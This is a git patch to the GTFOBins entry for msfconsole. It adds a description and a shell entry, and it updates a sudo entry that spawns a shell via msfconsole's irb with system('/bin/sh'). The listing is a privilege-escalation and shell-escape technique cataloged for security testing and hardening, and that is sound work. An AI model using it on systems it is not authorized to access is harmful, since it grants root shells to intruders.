From 09d06670201fc48db7449f1aa9072f6428694674 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 16 Dec 2022 14:47:04 +0100 Subject: [PATCH] Improve and clarify msfconsole --- _gtfobins/msfconsole.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/_gtfobins/msfconsole.md b/_gtfobins/msfconsole.md index eb09a0d..886e8a0 100644 --- a/_gtfobins/msfconsole.md +++ b/_gtfobins/msfconsole.md @@ -1,8 +1,14 @@ --- +description: This allows to spawn a [`ruby`](/gtfobins/ruby/) interpreter. functions: + shell: + - code: | + sudo msfconsole + msf6 > irb + >> system("/bin/sh") sudo: - code: | sudo msfconsole msf6 > irb - >> system("/bin/bash") + >> system("/bin/sh") ---